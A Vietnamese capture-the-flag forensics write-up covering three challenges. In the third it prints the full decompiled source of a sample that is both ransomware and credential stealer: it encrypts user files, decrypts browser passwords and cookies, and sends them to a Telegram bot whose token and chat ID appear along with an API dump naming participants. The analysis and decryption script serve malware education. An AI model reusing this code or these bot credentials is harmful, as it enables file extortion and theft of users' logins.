# Write Up World Wide CTF 2024 (FORENSICS)

## 1. Too Hidden

Bài cho file `.pcapng`, mở ra thì mình thấy toàn các gói `icmp`, dạng này khá dễ nhận biết, đọc qua thử:

Có thể thấy được mỗi gói chứa data 46/45/32, nếu decode decimal thì nó sẽ ra các ký tự morse, trích xuất hết ra thử:
```bash=
tshark -r chall.pcapng -Y "icmp" -T fields -e data
```

```python=
data = """
3436
3435
3435
3332
3436
...
"""
numbers = data.strip().split()
filtered_data = ' '.join(f"{num[:2]} {num[2:]}" for num in numbers)
print(filtered_data)
```
```python=
data = """
46454532464545324646454632324646464632454545324645464632454645453246464545464532464646324646464632463246324632463245324646454546453245464545324545453246464532464645454645324546454632464532454632464645454645324646454632464632454632454646324646454546453245453246324646454546453246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632
"""
data = data.strip().replace("\n", "")
filtered_data = ' '.join(data[i:i+2] for i in range(0, len(data), 2))
print(filtered_data)
```

> Flag: WWF{HOLY_SHEEEET_YOU_CAN_FIND_ME_??????????}
---
## 2. Forgot Password

- Đề bài nói rằng không thể đăng nhập và cần khôi phục mật khẩu, nhưng không nhớ các câu hỏi bảo mật.
- Trong Windows, thông tin về mật khẩu và tài khoản người dùng được lưu trữ trong SAM (Security Account Manager).
> File SAM lưu trữ thông tin băm (hash) của mật khẩu tài khoản người dùng trong hệ điều hành Windows.
> Khi cần khôi phục mật khẩu hoặc kiểm tra tài khoản, SAM là tệp trọng tâm vì nó lưu giữ các băm này.
Bài cho file `.ad1`, mở bằng `ftk`, tìm đến vị trí file `SAM`, export ra, mở bằng registry explorer, mình có

```bash=
Reset Data
{"version":1,"questions":[{"question":"What was your first pet’s name?","answer":"wwf{I_love_"},{"question":"What’s the name of the city where you were born?","answer":"security_questions_"},{"question":"What was your childhood nickname?","answer":"s0_muChhhhhhhhhhhhhhhhh}"}]}
```
> Flag: wwf{I_love_security_questions_s0_muChhhhhhhhhhhhhhhhh}
---
## 3. Black Meet Wukong

>https://drive.google.com/file/d/1SGOyMhxvupxYXJhCoRY2nxKi-5aEsydJ/view
Tiếp tục điều tra trong file `.ad1` đó, mình đọc thử các file log:

Có thể thấy có đoạn base 64 khả nghi, tiếp tục decode:

> Start-Process C:\Users\wukong\AppData\Local\Microsoft\Windows\bLAcKmEeTWUkOng.exe
Đường dẫn cho ta đến 1 file `.exe`, có lẽ là malware, tìm theo đường dẫn đó, mình có:

Export file đó ra thử, cảnh báo ngay lập tức xuất hiện, bỏ vô máy ảo phân tích tiếp:
Dùng `pyinstxtractor` phân tích file `.exe`:

Có được file `bLAcKmEeTWUkOng.pyc`, decode sang python, dùng `uncompyle6`/`pycdc`, có được source:
```python=
import os
from cryptography.fernet import Fernet
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import winreg as wrg
import requests
import base64
import subprocess
import json
import random
import shutil
import sqlite3
import time
import ctypes
from datetime import datetime
from threading import Thread
from ctypes import wintypes
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from urllib3 import PoolManager, HTTPResponse, disable_warnings as disable_warnings_urllib3
disable_warnings_urllib3()
PC_username = os.getlogin()
key_fernet = [b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=', b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=', b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=', b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=', b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=', b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=', b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=', b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=', b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=', b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=', b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=', b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=', b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=', b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=', b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=', b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=', b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=', b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14=']
key_xori = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy'
``
def god_bless_aes(data, key):
key = key.encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB)
padded_text = pad(data, AES.block_size)
cipher_text = cipher.encrypt(padded_text)
return cipher_text
def xoriiiiiiiiiii(data, key):
return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])
def crypter_fichier(file_path, output_path):
with open(file_path, 'rb') as file:
original_data = file.read()
encrypted_data = original_data
for key in key_fernet:
fernet = Fernet(key)
encrypted_data = fernet.encrypt(encrypted_data)
encrypted_data = xoriiiiiiiiiii(encrypted_data, key_fernet[0])
final = god_bless_aes(encrypted_data, key_xori)
with open(output_path, 'wb') as enc_file:
enc_file.write(final)
path_list = ['C:\\Users\\{}\\Documents'.format(PC_username), 'C:\\Users\\{}\\Pictures'.format(PC_username), 'C:\\Users\\{}\\Desktop'.format(PC_username), 'C:\\Users\\{}\\Downloads'.format(PC_username)]
fname = []
for path in path_list:
for root, d_names, f_names in os.walk(path):
for f in f_names:
fname.append(os.path.join(root, f))
for file in fname:
if 'desktop.ini' not in file:
crypter_fichier(file, file + '.odin')
os.system('del \"{}\"'.format(file))
APPDATA: str = os.getenv('APPDATA')
LOCALAPPDATA: str = os.getenv('LOCALAPPDATA')
TAPI: str = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q'
TCHATID: str = '-4528960795'
class ChoriumBrowsers:
encryptionKey: bytes = None
BrowserPath: str = None
LoginFilePaths: str = None
savePath: str = None
oldPath: str = None
def __init__(self, browserPath: str) -> bool:
if 'Opera' in browserPath:
self.oldPath = browserPath
browserPath = os.path.join(APPDATA, browserPath)
else: # inserted
self.oldPath = browserPath
browserPath = os.path.join(LOCALAPPDATA, browserPath)
self.BrowserPath = browserPath
self.encryptionKey = self.GetEncryptionKey()
@staticmethod
def Check(browserPath: str) -> bool:
if 'Opera' in browserPath:
browserPath = os.path.join(APPDATA, browserPath)
else: # inserted
browserPath = os.path.join(LOCALAPPDATA, browserPath)
if not os.path.exists(path=browserPath):
return False
return True
def GetEncryptionKey(self) -> bytes:
if self.encryptionKey is not None:
return self.EncryptionKey
localStatePath = os.path.join(self.BrowserPath, 'Local State')
if os.path.isfile(localStatePath):
for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
Utility.TaskKill(i)
with open(localStatePath, encoding='utf-8', errors='ignore') as file:
jsonContent = json.load(file)
encryptedKey = jsonContent['os_crypt']['encrypted_key']
encryptedKey = base64.b64decode(encryptedKey.encode())[5:]
self.EncryptionKey = Syscalls.CryptUnprotectData(encryptedKey)
return self.EncryptionKey
def GetLoginPaths(self, browserPath: str):
loginFilePaths = list()
for root, _, files in os.walk(browserPath):
for file in files:
if file.lower() == 'login data':
filepath = os.path.join(root, file)
loginFilePaths.append(filepath)
return loginFilePaths
def GetPasswords(self, savePath: str):
browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1]
for path in self.GetLoginPaths(self.BrowserPath):
name = f'[{browserName}]'
if 'Default' in path:
name += 'Default_Password.txt'
else: # inserted
a = path.split('\\')
name += a[len(a) - 2] + '_Password.txt'
pass
tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.db')
if not os.path.isfile(tempfile):
break
try:
for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
Utility.TaskKill(i)
shutil.copy(path, tempfile)
except Exception:
pass # postinserted
else: # inserted
db = sqlite3.connect(tempfile)
db.text_factory = lambda b: b.decode(errors='ignore')
cursor = db.cursor()
f = None
try:
results = cursor.execute('SELECT origin_url, username_value, password_value FROM logins').fetchall()
f = open(savePath + name, mode='a+', encoding='utf8')
for url, username, password in results:
password = self.Decrypt(password, self.encryptionKey)
f.write(f'URL: {str(url)}\nUsername: {str(username)}\nPassword: {str(password)}\n')
Counter.PasswordCount += 1
f.close()
if os.path.getsize(savePath + name) <= 0:
os.remove(savePath + name)
except Exception as e:
pass # postinserted
pass
print(e)
def Decrypt(self, buffer: bytes, key: bytes):
version = buffer.decode(errors='ignore')
if version.startswith(('v10', 'v11')):
iv = buffer[3:15]
cipherText = buffer[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(cipherText)
decrypted_pass = decrypted_pass[:(-16)].decode()
return decrypted_pass
return str(Syscalls.CryptUnprotectData(buffer))
def GetCookiesPath(self, browserPath: str):
cookiesFilePaths = list()
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == 'cookies':
filepath = os.path.join(root, file)
cookiesFilePaths.append(filepath)
return cookiesFilePaths
def GetCookies(self, savePath: str):
browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1]
for path in self.GetCookiesPath(self.BrowserPath):
name = f'[{browserName}]'
if 'Default' in path:
name += 'Default_Cookies.txt'
else: # inserted
a = path.split('\\')
name += a[len(a) - 3] + '_Cookies.txt'
pass
tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp')
if not os.path.isfile(tempfile):
break
try:
for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']:
Utility.TaskKill(i)
shutil.copy(path, tempfile)
except:
pass
else: # inserted
db = sqlite3.connect(tempfile)
db.text_factory = lambda b: b.decode(errors='ignore')
cursor = db.cursor()
try:
results = cursor.execute('SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies').fetchall()
f = open(savePath + name, 'a+', encoding='utf8')
for host, name, path, cookie, expiry in results:
cookie = self.Decrypt(cookie, self.encryptionKey)
flag1 = 'FALSE' if expiry == 0 else 'TRUE'
flag2 = 'FALSE' if str(host).startswith('.') else 'TRUE'
if host and name and cookie:
pass # postinserted
except Exception:
else: # inserted
f.write(f'{host}\t{flag1}\t{path}\t{flag2}\t{expiry}\t{name}\t{cookie}\n')
Counter.CookiesCount += 1
else: # inserted
f.close()
if os.path.getsize(savePath + name) <= 0:
os.remove(savePath + name)
pass
class Counter:
CookiesCount: int = 0
PasswordCount: int = 0
FilesCount: int = 0
WalletsCount: int = 0
TelegramSessionsCount: int = 0
class Utility:
@staticmethod
def GetRandomString(length: int=5, invisible: bool=False):
if invisible:
return ''.join(random.choices([' ', chr(8239)] + [chr(x) for x in range(8192, 8208)], k=length))
@staticmethod
def TaskKill(*tasks: str) -> None:
tasks = list(map(lambda x: x.lower(), tasks))
out = subprocess.run('tasklist /FO LIST', shell=True, capture_output=True).stdout.decode(errors='ignore').strip().split('\r\n\r\n')
for i in out:
i = i.split('\r\n')[:2]
try:
name, pid = (i[0].split()[(-1)], int(i[1].split()[(-1)]))
name = name[:(-4)] if name.endswith('.exe') else name
for task in tasks:
if task in name.lower():
subprocess.run('taskkill /F /PID %d' % pid, shell=True, capture_output=True)
except Exception:
pass # postinserted
pass
else: # inserted
pass
@staticmethod
def GetInkTarget(path_ink: str):
target = None
if os.path.isfile(path_ink):
output = subprocess.run('wmic path win32_shortcutfile where name=\"%s\" get target /value' % os.path.abspath(path_ink).replace('\\', '\\\\'), shell=True, capture_output=True).stdout.decode()
if output:
for line in output.splitlines():
if line.startswith('Target='):
temp = line.lstrip('Target=').strip()
if os.path.exists(temp):
target = temp
except:
pass # postinserted
return target
return target
@staticmethod
def GetLnkFromStartMenu(app: str):
shortcutPaths = []
startMenuPaths = [os.path.join(os.environ['APPDATA'], 'Microsoft', 'Windows', 'Start Menu', 'Programs'), os.path.join('C:\\', 'ProgramData', 'Microsoft', 'Windows', 'Start Menu', 'Programs')]
for startMenuPath in startMenuPaths:
for root, _, files in os.walk(startMenuPath):
for file in files:
if file.lower() == '%s.lnk' % app.lower():
shortcutPaths.append(os.path.join(root, file))
return shortcutPaths
class Syscalls:
@staticmethod
def CreateMutex(mutex: str) -> bool:
kernel32 = ctypes.windll.kernel32
mutex = kernel32.CreateMutexA(None, False, mutex)
return kernel32.GetLastError()!= 183
@staticmethod
def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str=None) -> bytes:
class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.POINTER(ctypes.c_ubyte))]
pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
pDataOut = DATA_BLOB()
pOptionalEntropy = None
if optional_entropy is not None:
optional_entropy = optional_entropy.encode('utf-16')
pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))
if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)):
data = (ctypes.c_ubyte * pDataOut.cbData)()
ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData)
ctypes.windll.Kernel32.LocalFree(pDataOut.pbData)
return bytes(data)
raise ValueError('Invalid encrypted_data provided!')
class Paths:
Orbitum = (os.path.join('Google', 'Chrome', 'User Data'), os.path.join('Chromium', 'User Data'), os.path.join('Thorium', 'User Data'), os.path.join('Google(x86)', 'Chrome', 'User Data'), os.path.join('CentBrowser', 'User Data'), os.path.join('Chedot', 'User Data'), os.path.join('Vivaldi', 'User Data'), os.path.join('Kometa', 'User Data'), os.path.join('Elements Browser', 'User Data'), os.path.join('CryptoTab Browser', 'User Data'), os.path.join('Epic Privacy Browser', 'uCozMedia', 'Uran', 'Fenrir Inc'), os.path.join('Sleipnir5', 'setting', 'modules'), os.path.join('ChromiumViewer', 'CatalinaGroup', 'Citrio'), os.
isRun = False
@staticmethod
def kill():
while Paths.isRun:
for i in ['chrome', 'brave', 'opera', 'edge']:
Utility.TaskKill(i)
time.sleep(0.2)
def Steal(savePath: str):
os.chdir(savePath)
saveBrowserCookies = savePath + '\\Browsers Data\\Cookies\\'
saveBrowserPasswords = savePath + '\\Browsers Data\\Passwords\\'
os.makedirs(saveBrowserCookies, exist_ok=True)
os.makedirs(saveBrowserPasswords, exist_ok=True)
threads = []
for path in Paths.browserPaths:
if ChoriumBrowsers.Check(path) == False:
continue
instace = ChoriumBrowsers(browserPath=path)
instace.GetCookies(saveBrowserCookies)
instace.GetPasswords(saveBrowserPasswords)
saveSystemInfo = savePath + '\\SystemInfomation.txt'
computerName = os.getenv('computername') or 'Unable to get computer name'
computerOS = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines()
computerOS = computerOS[2].strip() if len(computerOS) >= 2 else 'Unable to detect OS'
totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split()
totalMemory = str(int(int(totalMemory[1]) / 1000000000)) + ' GB' if len(totalMemory) >= 1 else 'Unable to detect total memory'
uuid = subprocess.run('wmic csproduct get uuid', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split()
uuid = uuid[1].strip() if len(uuid) >= 1 else 'Unable to detect UUID'
cpu = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment\' -Name PROCESSOR_IDENTIFIER', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to detect CPU'
gpu = subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()
gpu = gpu[2].strip() if len(gpu) >= 2 else 'Unable to detect GPU'
productKey = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform\' -Name BackupProductKeyDefault', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to get product key'
info = '============================================================\n'
info += '###################### Odin Grabber #############################\n'
info += f'Name: {str(computerName)}\n'
info += f'OS: {str(computerOS)}\n'
info += f'CPU: {str(cpu)}\n'
info += f'GPU: {str(gpu)}\n'
info += f'RAM: {str(totalMemory)}\n'
info += f'UUID: {str(uuid)}\n'
info += f'Product Key: {str(productKey)}\n'
info += '============================================================\n'
with open(saveSystemInfo, 'w') as f:
f.write(info)
f.close()
InfoLog.FileName = computerName
InfoLog.IP = requests.get('https://api.ipify.org?format=json').json()['ip']
j = requests.get('https://ipinfo.io/json').json()
InfoLog.Country = j['region'] + ' ' + j['country']
InfoLog.Date = datetime.today().strftime('%d-%m-%Y %H:%M:%S')
for t in threads:
t.join()
class InfoLog:
FileName: str
IP: str
Country: str
Date: str
if os.name == 'nt':
TempPath = ''
while True:
TempPath = os.path.join(os.getenv('temp'), Utility.GetRandomString(10))
if not os.path.isdir(TempPath):
break
Paths.isRun = True
os.makedirs(TempPath)
t1 = Thread(target=Steal, args={TempPath})
t1.start()
t1.join()
zipf = TempPath
shutil.make_archive(zipf, 'zip', TempPath)
zipf = zipf + '.zip'
info = f'<b>====== Stealer Logs =======</b>\n<b>==== PC Infomation ====</b>\nName: {InfoLog.FileName}\nIP: {InfoLog.IP}\nCountry: {InfoLog.Country}\nDate: {InfoLog.Date}\n<b>==== Browser Data ====</b>\nCookies: {Counter.CookiesCount}\nPasswords: {Counter.PasswordCount}\n<b>==== Wallets ====</b>\n'
filename = f'{InfoLog.Country}-{InfoLog.IP}-{InfoLog.Date}'
files = {'document': (filename + '.zip', open(zipf, 'rb'), 'text/plain')}
data = {'chat_id': TCHATID, 'caption': info, 'parse_mode': 'HTML'}
response = requests.post(url=url, files=files, data=data)
if response.status_code == 200:
print('Done')
url = 'https://raw.githubusercontent.com/odintheprotector/malware_image/main/odin.jpg'
response = requests.get(url, allow_redirects=True)
output_file = 'C:\\Users\\' + PC_username + '\\Downloads\\odin.jpg'
with open(output_file, 'wb') as file:
file.write(response.content)
with wrg.OpenKey(wrg.HKEY_CURRENT_USER, 'Control Panel\\Desktop', 0, wrg.KEY_SET_VALUE) as key:
wrg.SetValueEx(key, 'WallPaper', 0, wrg.REG_SZ, output_file)
wrg.SetValueEx(key, 'WallpaperStyle', 0, wrg.REG_SZ, '2')
wrg.SetValueEx(key, 'TileWallpaper', 0, wrg.REG_SZ, '0')
with open('C:\\Users\\{}\\Desktop\\ODIN_WANT_TO_SAY.txt'.format(PC_username), 'w') as note:
note.write('ALL YOUR FILES WERE ENCRYPTED!\nIf you want to recover all your files, just send me your n*de image\nI will give you the program to decrypt')
os.system('shutdown -r -t 3')
```
Tổng quát thì con malware này đa chức năng:
Mã hóa file trên máy nạn nhân:
- Các file trong các thư mục Documents, Pictures, Desktop, và Downloads được mã hóa bằng nhiều phương pháp (AES, XOR, và Fernet).
- File gốc bị xóa sau khi mã hóa, và file mã hóa được lưu với đuôi .odin.
Đánh cắp thông tin nhạy cảm:
- Cookies và mật khẩu: Mã đọc dữ liệu từ các trình duyệt Chromium-based (Chrome, Brave, Edge, Opera, v.v.) để lấy thông tin đăng nhập và cookies.
- Thông tin hệ thống: Bao gồm tên máy tính, OS, CPU, GPU, RAM, UUID, và Product Key.
Gửi thông tin về server tấn công:
- Thông qua API Telegram (TAPI và TCHATID) gửi file mã hóa và thông tin hệ thống.
Thay đổi hình nền máy tính:
- Tải một hình ảnh từ URL và đặt làm hình nền.
Hiển thị thông báo tống tiền:
- Tạo một file văn bản trên Desktop với nội dung đe dọa ("ALL YOUR FILES WERE ENCRYPTED!") và yêu cầu gửi "nội dung nhạy cảm" để lấy công cụ giải mã.
Khởi động lại máy tính:
- Sau khi thực hiện tất cả hành vi trên, mã thực hiện lệnh shutdown -r -t 3 để khởi động lại máy tính.
Và author có đề cập đến việc flag có 2 phần, thì từ source của con mã độc này, có thể dự đoán là có 1 phần ở các file bị mã hóa thành đuôi `.odin`, viết script để tự động giải mã ngược lại các file đó:
```python=
from cryptography.fernet import Fernet
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Danh sách các khóa Fernet (sử dụng lần lượt)
fernet_keys = [
b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=',
b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=',
b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=',
b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=',
b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=',
b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=',
b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=',
b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=',
b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=',
b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=',
b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=',
b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=',
b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=',
b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=',
b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=',
b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=',
b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=',
b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14='
]
# Khóa AES
aes_key = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy'
# Hàm giải mã Fernet
def fernet_decrypt(data, keys):
for key in reversed(keys): # Giải mã ngược thứ tự mã hóa
f = Fernet(key)
data = f.decrypt(data)
return data
# Hàm giải mã XOR
def xor_decrypt(data, key):
return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)])
# Hàm giải mã AES
def aes_decrypt(data, key):
cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
return unpad(cipher.decrypt(data), AES.block_size)
# Đọc file mã hóa
input_file = 'wukong.png.odin' # Thay bằng file bạn muốn giải mã
with open(input_file, 'rb') as file:
encrypted_data = file.read()
try:
# Giải mã AES
print("[+] Starting AES decryption...")
aes_decrypted_data = aes_decrypt(encrypted_data, aes_key)
print("[+] AES decryption successful!")
# Giải mã XOR
print("[+] Starting XOR decryption...")
xor_key = fernet_keys[0] # Sử dụng khóa đầu tiên trong danh sách Fernet cho XOR
xor_decrypted_data = xor_decrypt(aes_decrypted_data, xor_key)
print("[+] XOR decryption successful!")
# Giải mã Fernet
print("[+] Starting Fernet decryption...")
xor_decrypted_data_bytes = bytes(xor_decrypted_data) # Chuyển sang bytes
fernet_decrypted_data = fernet_decrypt(xor_decrypted_data_bytes, fernet_keys)
print("[+] Fernet decryption successful!")
# Lưu kết quả cuối cùng
output_file = 'final_decrypted_file.png'
with open(output_file, 'wb') as file:
file.write(fernet_decrypted_data)
print(f"[+] Decryption completed! File saved to {output_file}")
except Exception as e:
print(f"[-] Decryption failed: {e}")
```
Thử hết các file `.odin`, mình có được part 1 flag:

Tiếp tục với part 2, có thể thấy ngoài việc mã hóa các file thì source có đề cập đến cả bot tele:
Mã độc sử dụng Telegram API để gửi thông tin lấy được về cho kẻ tấn công. Nó gửi các thông tin sau:
- File nén chứa dữ liệu của cookies và mật khẩu từ các trình duyệt.
- Thông tin hệ thống: Gửi các thông tin về máy tính và địa chỉ IP của nạn nhân.
Tìm part 2 của flag từ các thông báo được bot Telegram gửi đi. Bot Telegram sử dụng Token API (TAPI) và Chat ID (TCHATID) để gửi và nhận các thông tin.
Phân tích bot Telegram
Từ mã nguồn mã độc, bot Telegram sử dụng TAPI và TCHATID để tương tác với API Telegram nhằm gửi thông tin về nạn nhân đến nhóm Telegram được quản lý bởi kẻ tấn công. Các tin nhắn này chứa thông tin như:
- Cấu hình hệ thống
- Dữ liệu trình duyệt (cookies, mật khẩu, v.v.)
- Thông báo ransomware
Thông tin liên quan từ mã độc:
- TAPI: 7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q
- TCHATID: -4528960795
Lấy các tin nhắn từ bot qua API Telegram
Sử dụng lệnh getUpdates của Telegram API để lấy toàn bộ tin nhắn được gửi bởi bot:
```bash=
https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/getUpdates
```
Hoặc sử dụng đoạn mã Python:
```python=
import requests
# Cấu hình Bot Token
bot_token = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q'
# URL của Telegram API
url = f'https://api.telegram.org/bot{bot_token}/getUpdates'
# Lấy dữ liệu từ bot
response = requests.get(url)
data = response.json()
# In kết quả
print(data)
```
Lúc khai thác mình có được dữ liệu này (may là nó chưa bị xóa), vì bot được cài đặt tự động xóa sau thời gian nhất định :
```bash!
{'ok': True, 'result': [{'update_id': 160555867, 'message': {'message_id': 674, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031791, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555868, 'message': {'message_id': 680, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031901, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555869, 'message': {'message_id': 691, 'from': {'id': 8051097960, 'is_bot': False, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'language_code': 'vi'}, 'chat': {'id': 8051097960, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'type': 'private'}, 'date': 1733032182, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555870, 'message': {'message_id': 702, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033173, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555871, 'message': {'message_id': 708, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033192, 'text': '.'}}, {'update_id': 160555872, 'message': {'message_id': 709, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033195, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555873, 'message': {'message_id': 710, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033196, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555874, 'message': {'message_id': 716, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033249, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883'}}}, {'update_id': 160555875, 'message': {'message_id': 722, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033262, 'text': 